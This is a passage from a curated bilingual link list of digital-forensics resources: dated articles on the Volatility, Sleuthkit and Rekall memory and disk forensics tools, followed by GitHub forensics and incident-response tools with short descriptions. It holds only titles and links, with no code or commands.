[cydefe] [Tools 101: Volatility Usage](http://www.cydefe.com/podcast/2018/1/30/tools-101-volatility-usage) - 2018.01 [hackingarticles] [Memory Forensics Investigation using Volatility (Part 1)](http://www.hackingarticles.in/memory-forensics-investigation-using-volatility-part-1/) - 2017.12 [360] [如何使用QEMU和Volatility攻击全盘加密的系统](https://www.anquanke.com/post/id/90794/) - 2017.12 [diablohorn] [使用 qemu 和volatility 攻击加密系统](https://diablohorn.com/2017/12/12/attacking-encrypted-systems-with-qemu-and-volatility/) - 2017.11 [pentestingexperts] [Stuxnet’s Footprint in Memory with Volatility 2.0](http://www.pentestingexperts.com/stuxnets-footprint-in-memory-with-volatility-2-0/) - 2017.11 [volatility] [Results from the (5th Annual) 2017 Volatility Plugin Contest are in!](https://volatility-labs.blogspot.com/2017/11/results-from-5th-annual-2017-volatility.html) - 2017.10 [sans] [Using Yara rules with Volatility ](https://isc.sans.edu/forums/diary/Using+Yara+rules+with+Volatility/22950/) - 2017.10 [4hou] [使用Volatility检测DoublePulsar](http://www.4hou.com/system/7321.html) - 2017.08 [shelliscoming] [编写 Volatility 插件,轻松识别内存中的 DoublePulsar SMB implant](http://www.shelliscoming.com/2017/08/doublepulsar-smb-implant-detection-from.html) - 2017.08 [nextplatform] [The Ironic – And Fleeting – Volatility In NVM Storage](https://www.nextplatform.com/2017/08/14/ironic-fleeting-volatility-nvm-storage/) - 2017.05 [360] [电子取证技术之实战Volatility工具](https://www.anquanke.com/post/id/86036/) - 2017.04 [volatility] [The (5th Annual) 2017 Volatility Plugin Contest is Live!](https://volatility-labs.blogspot.com/2017/04/the-5th-annual-2017-volatility-plugin.html) - 2017.02 [ponderthebits] [OSX (Mac) Memory Acquisition and Analysis Using OSXpmem and Volatility](http://ponderthebits.com/2017/02/osx-mac-memory-acquisition-and-analysis-using-osxpmem-and-volatility/) - 2017.01 [freebuf] [利用Volatility进行Windows内存取证分析(二):内核对象、内核池学习小记](http://www.freebuf.com/sectool/124800.html) - 2017.01 [freebuf] [利用Volatility进行Windows内存取证分析(一):初体验](http://www.freebuf.com/sectool/124690.html) - 2016.12 [volatility] [The Release of Volatility 2.6](https://volatility-labs.blogspot.com/2016/12/the-release-of-volatility-26.html) - 2016.12 [volatility] [Results from the 2016 Volatility Plugin Contest are in!](https://volatility-labs.blogspot.com/2016/12/results-from-2016-volatility-plugin.html) - 2016.10 [sans] [Volatility Bot: Automated Memory Analysis](https://isc.sans.edu/forums/diary/Volatility+Bot+Automated+Memory+Analysis/21655/) - 2016.10 [tisiphone] [Using Team Cymru’s MHR with Volatility](https://tisiphone.net/2016/10/27/using-team-cymrus-mhr-with-volatility/) - 2016.10 [n0where] [Automated Memory Analyzer For Malware Samples: VolatilityBot](https://n0where.net/automated-memory-analyzer-volatilitybot) - 2016.09 [volatility] [Volatility Update: Core team is growing!](https://volatility-labs.blogspot.com/2016/09/volatility-update-core-team-is-growing.html) - 2016.09 [cysinfo] [Detecting Malicious Processes Using Psinfo Volatility Plugin](https://cysinfo.com/detecting-malicious-processes-psinfo-volatility-plugin/) - 2016.09 [cysinfo] [Detecting Deceptive Process Hollowing Techniques Using HollowFind Volatility Plugin](https://cysinfo.com/detecting-deceptive-hollowing-techniques/) - 2016.08 [linoxide] [How to Setup Volatility Tool for Memory Analysis](https://linoxide.com/linux-how-to/setup-volatility-memory-analysis/) - 2016.07 [cysinfo] [Linux Memory Diff Analysis using Volatility](https://cysinfo.com/linux-memory-diff-analysis-using-volatility-2/) - 2016.06 [cysinfo] [Hunting APT RAT 9002 In Memory Using Volatility Plugin](https://cysinfo.com/hunting-apt-rat-9002-in-memory-using-volatility-plugin/) - 2016.05 [freebuf] [使用VOLATILITY发现高级恶意软件](http://www.freebuf.com/articles/system/104899.html) - 2016.04 [virusbulletin] [VB2015 paper: VolatilityBot: Malicious Code Extraction Made by and for Security Researchers](https://www.virusbulletin.com/blog/2016/02/vb2015-paper-volatilitybot-malicious-code-extraction-made-and-security-researchers/) - 2016.04 [holisticinfosec] [toolsmith #115: Volatility Acuity with VolUtility](https://holisticinfosec.blogspot.com/2016/04/toolsmith-115-volatility-acuity-with.html) - 2016.04 [volatility] [Airbnb Donates $999 to the 2016 Volatility Plugin Contest!](https://volatility-labs.blogspot.com/2016/04/airbnb-donates-999-to-2016-volatility.html) - 2016.04 [volatility] [The 2016 Volatility Plugin Contest is now live!](https://volatility-labs.blogspot.com/2016/04/the-2016-volatility-plugin-contest-is.html) - 2016.02 [360] [在windows环境下使用Volatility或PE Capture捕捉执行代码(PE/DLL/驱动恶意文件)](https://www.anquanke.com/post/id/83507/) - 2016.02 [tribalchicken] [Extracting FileVault 2 Keys with Volatility](https://tribalchicken.io/extracting-filevault-2-keys-with-volatility/) - 2016.02 [tribalchicken] [Extracting FileVault 2 Keys with Volatility](https://tribalchicken.net/extracting-filevault-2-keys-with-volatility/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Overview](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-overview/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 1: Mimikatz & lsass.exe Dump](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-1-mimikatz-lsass-exe-dump/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 2: Windows 7 Full Memory Dump & Get Hashes](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-2-windows-7-full-memory-dump-get-hashes/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 3: WinDBG Mimikatz Extension](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-3-windbg-mimikatz-extension/) - 2016.02 [govolution] [Windows Credentials and Memory Dumps – Part 4: Volatility & Mimikatz](https://govolution.wordpress.com/2016/02/06/windows-credentials-and-memory-dumps-part-4-volatility-mimikatz/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 6: VMWare Workstation](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-6-vmware-workstation/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 7: ESXi Server](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-7-esxi-server/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 8: ESXi Attacking Scenario – Volatility on ESXi](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-8-esxi-attacking-scenario-volatility-on-esxi/) - 2016.02 [govolution] [Memdumps, Volatility, Mimikatz, VMs – Part 9: Logging & Monitoring ESXi](https://govolution.wordpress.com/2016/02/06/memdumps-volatility-mimikatz-vms-part-9-logging-monitoring-esxi/) - 2016.01 [sans] [Some useful volatility plugins ](https://isc.sans.edu/forums/diary/Some+useful+volatility+plugins/20623/) - 2016.01 [metabrik] [Malware analysis with VM instrumentation, WMI, winexe, Volatility and Metabrik](https://www.metabrik.org/blog/2016/01/09/malware-analysis-with-vm-instrumentation-wmi-winexe-volatility-and-metabrik/) - 2015.11 [volatility] [Guest Post: Martin Korman (VolatilityBot - An Automated Malicious Code Dumper)](https://volatility-labs.blogspot.com/2015/11/guest-post-martin-korman-volatilitybot.html) - 2015.11 [tribalchicken] [Extracting BitLocker keys with Volatility (PoC)](https://tribalchicken.io/extracting-bitlocker-keys-with-volatility-part-1-poc/) - 2015.11 [tribalchicken] [Extracting BitLocker keys with Volatility (PoC)](https://tribalchicken.net/extracting-bitlocker-keys-with-volatility-part-1-poc/) - 2015.11 [secist] [调查取证之Volatility框架的使用](http://www.secist.com/archives/2082.html) - 2015.11 [n0where] [Volatile Memory Extraction: The Volatility Framework](https://n0where.net/volatile-memory-extraction) - 2015.11 [volatility] [PlugX: Memory Forensics Lifecycle with Volatility](https://volatility-labs.blogspot.com/2015/11/plugx-memory-forensics-lifecycle-with.html) - 2015.10 [volatility] [Results from the 2015 Volatility Plugin Contest are in!](https://volatility-labs.blogspot.com/2015/10/results-from-2015-volatility-plugin.html) - 2015.10 [autopsy] [The Volatility team talks proactive threat hunting with memory forensics (an OSDFCon presentation)](https://www.autopsy.com/the-volatility-team-talks-proactive-threat-hunting-with-memory-forensics-an-osdfcon-presentation/) - 2015.10 [angelalonso] [Android Memory Analysis (II) - Extracting the memory and analyzing with Volatility](http://blog.angelalonso.es/2015/10/android-memory-analysis-analyzing.html) - 2015.09 [airbuscybersecurity] [Volatility plugin for PlugX updated](http://blog.airbuscybersecurity.com/post/2015/08/Volatility-plugin-for-PlugX-updated) - 2015.08 [volatility] [Volatility Updates Summer 2015](https://volatility-labs.blogspot.com/2015/08/volatility-updates-summer-2015.html) - 2015.07 [volatility] [The 2015 Volatility Plugin contest is now live!](https://volatility-labs.blogspot.com/2015/07/the-2015-volatility-plugin-contest-is.html) - 2015.07 [volatility] [Volatility at Black Hat USA & DFRWS 2015!](https://volatility-labs.blogspot.com/2015/07/volatility-at-black-hat-usa-dfrws-2015.html) - 2015.02 [kudelskisecurity] [Volatility plugin for Dyre](https://research.kudelskisecurity.com/2015/02/11/volatility-plugin-for-dyre/) - 2014.12 [sans] [Some Memory Forensic with Forensic Suite (Volatility plugins)](https://isc.sans.edu/forums/diary/Some+Memory+Forensic+with+Forensic+Suite+Volatility+plugins/19071/) - 2014.10 [volatility] [Announcing the 2014 Volatility Plugin Contest Results!](https://volatility-labs.blogspot.com/2014/10/announcing-2014-volatility-plugin.html) - 2014.09 [volatility] [The Volatility Foundation: Fighting for Open Source Forensics](https://volatility-labs.blogspot.com/2014/09/the-volatility-foundation-fighting-for.html) - 2014.09 [volatility] [Volatility 2.4 at Blackhat Arsenal - Defeating Truecrypt Disk Encryption](https://volatility-labs.blogspot.com/2014/09/volatility-24-at-blackhat-arsenal.html) - 2014.09 [volatility] [Facebook Donation Doubles the Volatility Plugin Contest Prizes](https://volatility-labs.blogspot.com/2014/09/facebook-donation-doubles-volatility.html) - 2014.09 [volatility] [Heads Up! 2014 Volatility Plugin Contest Deadline Extended!](https://volatility-labs.blogspot.com/2014/09/heads-up-2014-volatility-plugin-contest.html) - 2014.08 [volatility] [Volatility 2.4 at Blackhat Arsenal - Reverse Engineering Rootkits](https://volatility-labs.blogspot.com/2014/08/volatility-24-at-blackhat-arsenal.html) - 2014.08 [] [Forensic FOSS: 4n6k_volatility_installer.sh - Install Volatility For Linux Automatically](http://www.4n6k.com/2014/08/forensic-foss-4n6kvolatilityinstallersh.html) - 2014.08 [volatility] [Volatility 2.4 at Blackhat Arsenal - Tracking Mac OS X User Activity](https://volatility-labs.blogspot.com/2014/08/volatility-24-at-blackhat-arsenal_21.html) - 2014.08 [toolswatch] [Volatility v2.4 – Art of Memory Forensics Released](http://www.toolswatch.org/2014/08/volatility-v2-4-art-of-memory-forensics-released/) - 2014.08 [volatility] [New Volatility 2.4 Cheet Sheet with Linux, Mac, and RTFM](https://volatility-labs.blogspot.com/2014/08/new-volatility-24-cheet-sheet-with.html) - 2014.08 [volatility] [Presenting Volatility Foundation Volatility Framework 2.4](https://volatility-labs.blogspot.com/2014/08/presenting-volatility-foundation.html) - 2014.07 [volatility] [Volatility at Black Hat USA & DFRWS 2014](https://volatility-labs.blogspot.com/2014/07/volatility-at-black-hat-usa-dfrws-2014.html) - 2014.05 [volatility] [Volatility - Update All The Things](https://volatility-labs.blogspot.com/2014/05/volatility-update-all-things.html) - 2014.04 [volatility] [Volatility Memory Forensics and Malware Analysis Training in Australia!](https://volatility-labs.blogspot.com/2014/04/volatility-memory-forensics-and-malware.html) - 2014.03 [reverse] [Teaching Rex another TrustedBSD trick to hide from Volatility](https://reverse.put.as/2014/03/18/teaching-rex-another-trustedbsd-trick-to-hide-from-volatility/) - 2014.03 [mcafee] [Timeline of Bitcoin Events Demonstrates Online Currency’s Volatility](https://securingtomorrow.mcafee.com/mcafee-labs/timeline-bitcoin-events-demonstrates-volatility/) - 2014.02 [freebuf] [利用Volatility查找系统中的恶意DLL](http://www.freebuf.com/articles/system/26936.html) - 2014.02 [freebuf] [Linux下内存取证工具Volatility的使用](http://www.freebuf.com/articles/system/26763.html) - 2014.02 [volatility] [Training by The Volatility Project Now Available In Three Continents!](https://volatility-labs.blogspot.com/2014/02/training-by-volatility-project-now.html) - 2013.11 [holisticinfosec] [Volatility 2.3 and FireEye's diskless, memory-only Trojan.APT.9002](https://holisticinfosec.blogspot.com/2013/11/volatility-23-and-fireeyes-diskless.html) - 2013.11 [toolswatch] [Volatility The advanced memory forensics framework v2.3 available (Support of OSX)](http://www.toolswatch.org/2013/11/volatility-the-advanced-memory-forensics-framework-v2-3-available-support-of-osx/) - 2013.10 [volatility] [Volatility 2.3 Released! (Official Mac OS X and Android Support)](https://volatility-labs.blogspot.com/2013/10/volatility-23-released-official-mac-os.html) - 2013.09 [volatility] [Leveraging CybOX with Volatility](https://volatility-labs.blogspot.com/2013/09/leveraging-cybox-with-volatility.html) - 2013.08 [quequero] [Quick Volatility overview and R.E. analysis of Win32.Chebri](https://quequero.org/2013/08/quick-volatility-overview-and-r-e-analysis-of-win32-chebri/) - 2013.08 [volatility] [Results are in for the 1st Annual Volatility Framework Plugin Contest!](https://volatility-labs.blogspot.com/2013/08/results-are-in-for-1st-annual.html) - 2013.06 [sans] [Volatility rules...any questions?](https://isc.sans.edu/forums/diary/Volatility+rulesany+questions/16022/) - 2013.06 [volatility] [MOVP II - 4.5 - Mac Volatility vs the Rubilyn Kernel Rootkit](https://volatility-labs.blogspot.com/2013/06/movp-ii-45-mac-volatility-vs-rubilyn.html) - 2013.05 [volatility] [Automated Volatility Plugin Generation with Dalvik Inspector](https://volatility-labs.blogspot.com/2013/05/automated-volatility-plugin-generation.html) - 2013.05 [securityintelligence] [Zeus Analysis – Memory Forensics via Volatility](https://securityintelligence.com/zeus-analysis-memory-forensics-via-volatility/) - 2013.05 [volatility] [MoVP II - 2.3 - Creating Timelines with Volatility](https://volatility-labs.blogspot.com/2013/05/movp-ii-23-creating-timelines-with.html) - 2013.05 [volatility] [MOVP II - 1.5 - ARM Address Space (Volatility and Android / Mobile)](https://volatility-labs.blogspot.com/2013/05/movp-ii-15-arm-address-space-volatility.html) - 2013.05 [volatility] [What's Happening in the World of Volatility?](https://volatility-labs.blogspot.com/2013/05/whats-happening-in-world-of-volatility.html) - 2013.04 [cyberarms] [Volatility Memory Analysis Article Featured in eForensics Magazine](https://cyberarms.wordpress.com/2013/04/02/volatility-memory-analysis-article-featured-in-eforensics-magazine/) - 2013.03 [volatility] [Official Training by Volatility - Reston/VA, June 2013](https://volatility-labs.blogspot.com/2013/03/official-training-by-volatility.html) - 2013.01 [theevilbit] [Backtrack Forensics: Memory analysis with volatility](http://theevilbit.blogspot.com/2013/01/backtrack-forensics-memory-analysis.html) - 2013.01 [volatility] [The 1st Annual Volatility Framework Plugin Contest](https://volatility-labs.blogspot.com/2013/01/the-1st-annual-volatility-framework.html) - 2013.01 [hackingarticles] [Volatility – An advanced memory forensics framework](http://www.hackingarticles.in/volatility-an-advanced-memory-forensics-framework/) - 2012.12 [volatility] [What do Upclicker, Poison Ivy, Cuckoo, and Volatility Have in Common?](https://volatility-labs.blogspot.com/2012/12/what-do-upclicker-poison-ivy-cuckoo-and.html) - 2012.12 [securityartwork] [New MFTParser plugin in the alpha version of Volatility](https://www.securityartwork.es/2012/12/18/new-mftparser-plugin-in-the-alpha-version-of-volatility/) - 2012.11 [volatility] [Windows Memory Forensics Training for Analysts by Volatility Developers](https://volatility-labs.blogspot.com/2012/11/windows-memory-forensics-training-for.html) - 2012.10 [volatility] [OMFW 2012: Analyzing Linux Kernel Rootkits with Volatility](https://volatility-labs.blogspot.com/2012/10/omfw-2012-analyzing-linux-kernel.html) - 2012.10 [volatility] [MoVP for Volatility 2.2 and OMFW 2012 Wrap-Up](https://volatility-labs.blogspot.com/2012/10/movp-for-volatility-22-and-omfw-2012.html) - 2012.10 [volatility] [Solving the GrrCon Network Forensics Challenge with Volatility](https://volatility-labs.blogspot.com/2012/10/solving-grrcon-network-forensics.html) - 2012.10 [volatility] [Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit](https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html) - 2012.09 [volatility] [MoVP 3.5: Analyzing the 2008 DFRWS Challenge with Volatility](https://volatility-labs.blogspot.com/2012/09/movp-35-analyzing-2008-dfrws-challenge.html) - 2012.09 [volatility] [MoVP 2.5: Investigating In-Memory Network Data with Volatility](https://volatility-labs.blogspot.com/2012/09/movp-25-investigating-in-memory-network.html) - 2012.09 [sans] [Volatility: 2.2 is Coming Soon](https://isc.sans.edu/forums/diary/Volatility+22+is+Coming+Soon/14125/) - 2012.09 [volatility] [Month of Volatility Plugins (MoVP)](https://volatility-labs.blogspot.com/2012/09/month-of-volatility-plugins-movp.html) - 2012.08 [sans] [Digital Forensics Case Leads: Identifying TrueCrypt volumes with Volatility, Malware that can sneak into VM's and more....](https://digital-forensics.sans.org/blog/2012/08/24/digital-forensics-case-leads-identifying-truecrypt-volumes-with-volatility-malware-that-can-sneak-into-vms-and-more) - 2012.08 [sans] [Digital Forensics Case Leads: Multi-plat RAT, No US Cybersecurity bill, Dropbox drops a doozie, Volatility everywhere](https://digital-forensics.sans.org/blog/2012/08/03/digital-forensics-case-leads-multi-plat-rat-no-us-cybersecurity-bill-dropbox-drops-a-doozie-volatility-everywhere) - 2012.07 [sans] [Digital Forensics Case Leads: Skype acting weird, Mircosoft backdooring Skype! Volatility with x64 support... Facebook censoring chats for criminal activities!? A Russian hacker challenge Apple by bypassing Apple Store authentication mechanism and get apps for free!!! All that and more, this week on Case Leadsâ¦](https://digital-forensics.sans.org/blog/2012/07/21/digital-forensics-case-leads-skype-acting-weird-mircosoft-backdooring-skype-volatility-with-x64-support-facebook-censoring-chats-for-criminal-activities-a-russian-hacker-challenge-apple-by-byp) - 2012.04 [hiddenillusion] [YARA + Volatility ... the beginning](http://hiddenillusion.blogspot.com/2012/04/yara-volatility-beginning.html) - 2012.03 [hiddenillusion] [Making Volatility work for you](http://hiddenillusion.blogspot.com/2012/03/making-volatility-work-for-you.html) - 2011.10 [quequero] [Shylock via volatility](https://quequero.org/2011/10/shylock-via-volatility/) - 2011.09 [holisticinfosec] [toolsmith: Memory Analysis with DumpIt and Volatility](https://holisticinfosec.blogspot.com/2011/09/toolsmith-memory-analysis-with-dumpit.html) - 2011.08 [sans] [Digital Forensics Case Leads: SIFT 2.1, Volatility 2.0](https://digital-forensics.sans.org/blog/2011/08/04/digital-forensics-case-leads-8-4-11) - 2011.02 [toolswatch] [Volatility The advanced memory forensics framework v1.4 released](http://www.toolswatch.org/2011/02/volatility-the-advanced-memory-forensics-framework-v1-4-released/) - 2011.01 [sans] [A Quick Look at Volatility 1.4 RC1 - What's New?](https://digital-forensics.sans.org/blog/2011/01/13/whats-new-volatility-1-4) - 2010.05 [holisticinfosec] [Memory forensics with SIFT 2.0, Volatility, and PTK](https://holisticinfosec.blogspot.com/2010/05/memory-forensics-with-sift-20.html) - 2010.02 [sans] [Digital Forensics Case Leads: Volatility and RegRipper, Better Together](https://digital-forensics.sans.org/blog/2010/02/18/digital-forensics-case-leads-volatility-and-regripper-better-together) - 2009.07 [sans] [New Volatility plugins](https://isc.sans.edu/forums/diary/New+Volatility+plugins/6862/) - 2009.05 [sans] [More new volatility plugins](https://isc.sans.edu/forums/diary/More+new+volatility+plugins/6475/) - 2009.04 [windowsir] [New Volatility Plugins](http://windowsir.blogspot.com/2009/04/new-volatility-plugins.html) - 2009.03 [moyix] [Using Volatility for Introspection](http://moyix.blogspot.com/2009/03/using-volatility-for-introspection.html) - 2009.03 [moyix] [RegRipper and Volatility Prototype](http://moyix.blogspot.com/2009/03/regripper-and-volatility-prototype.html) - 2008.08 [windowsir] [Volatility 1.3 is out!](http://windowsir.blogspot.com/2008/08/volatility-13-is-out.html) - 2008.08 [moyix] [Volatility 1.3 is out!](http://moyix.blogspot.com/2008/08/volatility-13-is-out.html) *** ## <a id="c529f60a5b6f420255ae79843446a145"></a>Sleuthkit - 2018.10 [insinuator] [Comparison of our tool afro (APFS file recovery) with Blackbag Blacklight and Sleuthkit](https://insinuator.net/2018/10/comparison-of-our-tool-afro-apfs-file-recovery-with-blackbag-blacklight-and-sleuthkit/) - 2011.10 [sans] [Digital Forensics Case Leads: Passwords in Wills, Google Chrome a Virus, Cybercrime Unit Saving Money and Updates for Sleuthkit and SSDeep.](https://digital-forensics.sans.org/blog/2011/10/14/digital-forensics-case-leads-passwords-in-wills-google-chrome-a-virus-cybercrime-unit-saving-money-and-updates-for-sleuthkit-and-ssdeep) - 2011.09 [sans] [Shadow Timelines And Other VolumeShadowCopy Digital Forensics Techniques with the Sleuthkit on Windows](https://digital-forensics.sans.org/blog/2011/09/16/shadow-timelines-and-other-shadowvolumecopy-digital-forensics-techniques-with-the-sleuthkit-on-windows) - 2005.10 [windowsir] [Sleuthkit on Windows](http://windowsir.blogspot.com/2005/10/sleuthkit-on-windows.html) *** ## <a id="b6797fda3a16667cd5726ef4aa86b0e1"></a>Rekall - 2019.01 [4hou] [借助Rekall进行内存实时分析](http://www.4hou.com/technology/15483.html) - 2019.01 [sans] [Rekall Memory Forensics](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1493740529.pdf) - 2018.12 [ironcastle] [Live memory analysis using Rekall, (Tue, Dec 25th)](https://www.ironcastle.net/live-memory-analysis-using-rekall-tue-dec-25th/) - 2018.12 [sans] [Live memory analysis using Rekall](https://isc.sans.edu/forums/diary/Live+memory+analysis+using+Rekall/24454/) - 2018.01 [rekall] [ELF hacking with Rekall](http://blog.rekall-forensic.com/2018/01/elf-hacking-with-rekall.html) - 2017.08 [rekall] [Rekall Agent Alpha launch](http://blog.rekall-forensic.com/2017/08/rekall-agent-alpha-launch.html) - 2017.07 [insinuator] [Release of Glibc Heap Analysis Plugins for Rekall](https://insinuator.net/2017/07/release-of-glibc-heap-analysis-plugins-for-rekall/) - 2016.10 [rekall] [The Rekall Agent Whitepaper](http://blog.rekall-forensic.com/2016/10/the-rekall-agent-whitepaper.html) - 2015.11 [toolswatch] [Rekall The Memory Forensic Framework](http://www.toolswatch.org/2015/11/rekall-the-memory-forensic-framework/) - 2015.10 [holisticinfosec] [toolsmith #109: CapLoader network carving from Rekall WinPmem Memory Image](https://holisticinfosec.blogspot.com/2015/10/toolsmith-109-caploader-network-carving.html) - 2015.05 [holisticinfosec] [toolsmith: Attack & Detection: Hunting in-memory adversaries with Rekall and WinPmem](https://holisticinfosec.blogspot.com/2015/05/toolsmith-attack-detection-hunting-in.html) - 2015.02 [n0where] [Rekall Memory Forensic Framework](https://n0where.net/rekall-memory-forensic-framework) - 2014.03 [sans] [Linux Memory Dump with Rekall](https://isc.sans.edu/forums/diary/Linux+Memory+Dump+with+Rekall/17775/) # <a id="d4e014cbc478d3e5625e6ca1622781d3"></a>工具 *** ## <a id="ecb63dfb62722feb6d43a9506515b4e3"></a>新添加 - [**5208**星][7m] [Py] [usarmyresearchlab/dshell](https://github.com/usarmyresearchlab/dshell) 可扩展的网络取证分析框架。支持快速开发插件,以支持剖析网络数据包捕获。 - [**3337**星][11d] [Py] [google/grr](https://github.com/google/grr) remote live forensics for incident response - [**1912**星][13d] [Shell] [toniblyx/prowler](https://github.com/toniblyx/prowler) AWS Security Best Practices Assessment, Auditing, Hardening and Forensics Readiness Tool. It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100). Official CIS for AWS guide: - [**1227**星][12d] [Py] [google/timesketch](https://github.com/google/timesketch) Collaborative forensic timeline analysis - [**1155**星][4m] [Go] [mozilla/mig](https://github.com/mozilla/mig) 分布式实时数字取证和研究平台 - [**1024**星][13d] [Py] [ondyari/faceforensics](https://github.com/ondyari/faceforensics) Github of the FaceForensics dataset - [**1017**星][12d] [Rich Text Format] [decalage2/oletools](https://github.com/decalage2/oletools) python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging. - [**949**星][2y] [C#] [invoke-ir/powerforensics](https://github.com/invoke-ir/powerforensics) PowerForensics provides an all in one platform for live disk forensic analysis - [**883**星][2m] [C] [cisco/joy](https://github.com/cisco/joy) 捕获和分析网络流数据和intraflow数据,用于网络研究、取证和安全监视 - [**832**星][27d] [Py] [yampelo/beagle](https://github.com/yampelo/beagle) an incident response and digital forensics tool which transforms security logs and data into graphs. - [**791**星][4m] [Py] [srinivas11789/pcapxray](https://github.com/srinivas11789/pcapxray) 网络取证工具:离线将捕获数据包可视化为网络图,包括设备标识,突出显示重要的通信和文件提取 - [**762**星][2m] [Py] [snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) Simple CLI forensics tool for tracking USB device artifacts (history of USB events) on GNU/Linux - [**544**星][1m] [Go] [biggiesmallsag/nighthawkresponse](https://github.com/biggiesmallsag/nighthawkresponse) Incident Response Forensic Framework - [**485**星][26d] [Py] [netflix-skunkworks/diffy](https://github.com/netflix-skunkworks/diffy) a triage tool used during cloud-centric security incidents, to help digital forensics and incident response (DFIR) teams quickly identify suspicious hosts on which to focus their response. - [**429**星][3m] [Py] [obsidianforensics/hindsight](https://github.com/obsidianforensics/hindsight) Internet history forensics for Google Chrome/Chromium - [**419**星][20d] [Py] [forensicartifacts/artifacts](https://github.com/forensicartifacts/artifacts) Digital Forensics Artifact Repository - [**395**星][2y] [PS] [cryps1s/darksurgeon](https://github.com/cryps1s/darksurgeon) a Windows packer project to empower incident response, digital forensics, malware analysis, and network defense. - [**392**星][11m] [Go] [mozilla/masche](https://github.com/mozilla/masche) MIG Memory Forensic library - [**381**星][5y] [JS] [le4f/pcap-analyzer](https://github.com/le4f/pcap-analyzer) 在线轻量Pcap流量文件分析工具 - [**349**星][3m] [Shell] [orlikoski/skadi](https://github.com/orlikoski/Skadi) collection, processing and advanced analysis of forensic artifacts and images. - [**324**星][11m] [Py] [alessandroz/lazagneforensic](https://github.com/alessandroz/lazagneforensic) Windows passwords decryption from dump files - [**320**星][2y] [C] [fireeye/rvmi](https://github.com/fireeye/rvmi) steroids 调试器,利用 VMI(Virtual Machine Introspection) 和内存取证来提供全面的系统分析 - [**316**星][12d] [Py] [google/turbinia](https://github.com/google/turbinia) Automation and Scaling of Digital Forensics Tools - [**303**星][2m] [Shell] [vitaly-kamluk/bitscout](https://github.com/vitaly-kamluk/bitscout) 远程数据取证工具 - [**295**星][3y] [invoke-ir/forensicposters](https://github.com/invoke-ir/forensicposters) 多种数据结构图解:MBR/GPT/... - [**274**星][13d] [Perl] [owasp/o-saft](https://github.com/owasp/o-saft) OWASP SSL advanced forensic tool - [**268**星][3y] [Py] [ghirensics/ghiro](https://github.com/ghirensics/ghiro) Automated image forensics tool - [**263**星][7m] [Batchfile] [diogo-fernan/ir-rescue](https://github.com/diogo-fernan/ir-rescue) A Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response. - [**260**星][1m] [Py] [google/docker-explorer](https://github.com/google/docker-explorer) A tool to help forensicate offline docker acquisitions - [**252**星][1y] [C++] [comaeio/swishdbgext](https://github.com/comaeio/SwishDbgExt) Incident Response & Digital Forensics Debugging Extension - [**247**星][1m] [Py] [orlikoski/cdqr](https://github.com/orlikoski/CDQR) a fast and easy to use forensic artifact parsing tool that works on disk images, mounted drives and extracted artifacts from Windows, Linux, MacOS, and Android devices - [**245**星][1y] [Py] [crowdstrike/forensics](https://github.com/crowdstrike/forensics) Scripts and code referenced in CrowdStrike blog posts - [**233**星][2m] [C] [elfmaster/libelfmaster](https://github.com/elfmaster/libelfmaster) Secure ELF parsing/loading library for forensics reconstruction of malware, and robust reverse engineering tools - [**225**星][3m] [Py] [crowdstrike/automactc](https://github.com/crowdstrike/automactc) Automated Mac Forensic Triage Collector - [**224**星][4y] [Java] [nowsecure/android-forensics](https://github.com/nowsecure/android-forensics) Open source Android Forensics app and framework - [**213**星][2y] [C#] [shanek2/invtero.net](https://github.com/shanek2/invtero.net) A high speed (Gbps) Forensics, Memory integrity & assurance. Includes offensive & defensive memory capabilities. Find/Extract processes, hypervisors (including nested) in memory dumps using microarchitechture independent Virtual Machiene Introspection techniques - [**202**星][11m] [Py] [medbenali/cyberscan](https://github.com/medbenali/cyberscan) Network's Forensics ToolKit - [**191**星][2m] [Py] [lazza/recuperabit](https://github.com/lazza/recuperabit) A tool for forensic file system reconstruction. - [**177**星][11d] [Py] [markbaggett/srum-dump](https://github.com/markbaggett/srum-dump) A forensics tool to convert the data in the Windows srum (System Resource Usage Monitor) database to an xlsx spreadsheet. - [**176**星][4y] [Py] [csababarta/ntdsxtract](https://github.com/csababarta/ntdsxtract) Active Directory forensic framework - [**168**星][2y] [Py] [monrocoury/forensic-tools](https://github.com/monrocoury/forensic-tools) A collection of tools for forensic analysis - [**162**星][6m] [Py] [cvandeplas/elk-forensics](https://github.com/cvandeplas/elk-forensics) ELK configuration files for Forensic Analysts and Incident Handlers (unmaintained) - [**162**星][2m] [C++] [gregwar/fatcat](https://github.com/gregwar/fatcat) FAT filesystems explore, extract, repair, and forensic tool - [**158**星][2m] [Py] [travisfoley/dfirtriage](https://github.com/travisfoley/dfirtriage) Digital forensic acquisition tool for Windows based incident response. - [**154**星][9m] [Py] [vikwin/pcapfex](https://github.com/vikwin/pcapfex) 'Packet Capture Forensic Evidence eXtractor' is a tool that finds and extracts files from packet capture files - [**150**星][4m] [Py] [stuhli/dfirtrack](https://github.com/stuhli/dfirtrack) 数字取证, 与事件响应追踪. 基于Django - [**149**星][4y] [Py] [arxsys/dff](https://github.com/arxsys/dff) a Forensics Framework coming with command line and graphical interfaces - [**146**星][2y] 